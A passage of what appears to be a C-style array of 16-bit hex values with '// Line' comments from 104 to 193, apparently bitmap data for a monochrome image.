0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 104\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 105\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 106\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 107\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 108\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 109\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x87FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 110\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x03FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 111\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x01FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 112\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x01FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 113\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x01FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 114\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x01FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 115\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x03FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 116\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x87FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 117\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 118\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 119\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 120\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 121\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 122\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 123\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 124\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 125\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 126\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 127\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 128\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 129\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF9FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 130\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE07F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 131\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xC03F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 132\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x801F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 133\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 134\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 135\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 136\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 137\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 138\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF83, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 139\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFE01, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 140\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFC00, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 141\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0003, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF800, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 142\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0001, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF000, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 143\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0001, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE000, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 144\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x8000, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE000, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 145\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x8000, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xC000, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 146\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xC000, 0x3FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x8000, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 147\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xC000, 0x1FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x8000, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 148\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE000, 0x07FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0000, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 149\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF000, 0x03FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x0001, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 150\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF000, 0x00FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0x0001, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 151\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF800, 0x003F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFF0, 0x0003, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 152\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFC00, 0x001F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFE0, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 153\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFE00, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFC0, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 154\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF00, 0x0003, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF00, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 155\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF80, 0x0000, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFE00, 0x001F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 156\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFC0, 0x0000, 0x3FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFC00, 0x003F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 157\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFE0, 0x0000, 0x0FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF800, 0x003F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 158\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFF0, 0x0000, 0x03FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF000, 0x007F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 159\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0x0000, 0x00FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE000, 0x00FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 160\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x0000, 0x003F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xC000, 0x03FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 161\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x8000, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0000, 0x07FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 162\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE000, 0x0003, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0x0000, 0x1FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 163\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF000, 0x0000, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFF0, 0x0000, 0x3FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 164\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFC00, 0x0000, 0x3FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFC0, 0x0000, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 165\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFE00, 0x0000, 0x0FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF00, 0x0001, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 166\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF80, 0x0000, 0x03FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFC00, 0x0003, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 167\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFE0, 0x0000, 0x00FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE000, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 168\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFF8, 0x0000, 0x003F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x0000, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 169\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x0000, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFE0, 0x0000, 0x001F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 170\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x8000, 0x0003, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF80, 0x0000, 0x003F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 171\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE000, 0x0000, 0xFFFF, 0xFFFF, 0xFFFF, 0xFC00, 0x0000, 0x007F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 172\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFC00, 0x0000, 0x3FFF, 0xFFFF, 0xFFFF, 0xF000, 0x0000, 0x01FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 173\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF00, 0x0000, 0x07FF, 0xFFFF, 0xFFFF, 0xC000, 0x0000, 0x03FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 174\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF80, 0x0000, 0x001F, 0xFFFF, 0xFFF8, 0x0000, 0x0000, 0x0FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 175\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFE0, 0x0000, 0x0000, 0x1FFF, 0xA000, 0x0000, 0x0000, 0x7FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 176\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFF8, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0001, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 177\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFE, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x000F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 178\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x8000, 0x0000, 0x0000, 0x0000, 0x0000, 0x003F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 179\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xE000, 0x0000, 0x0000, 0x0000, 0x0000, 0x00FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 180\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF800, 0x0000, 0x0000, 0x0000, 0x0000, 0x0FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 181\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFE00, 0x0000, 0x0000, 0x0000, 0x0000, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 182\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFF80, 0x0000, 0x0000, 0x0000, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 183\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFE0, 0x0000, 0x0000, 0x0000, 0x001F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 184\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFC, 0x0000, 0x0000, 0x0000, 0x007F, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 185\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0x0000, 0x0000, 0x0000, 0x03FF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 186\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xF000, 0x0000, 0x0000, 0x1FFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 187\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFC0, 0x0000, 0x0007, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 188\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 189\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 190\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 191\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 192\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 193\n0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, \/\/ Line 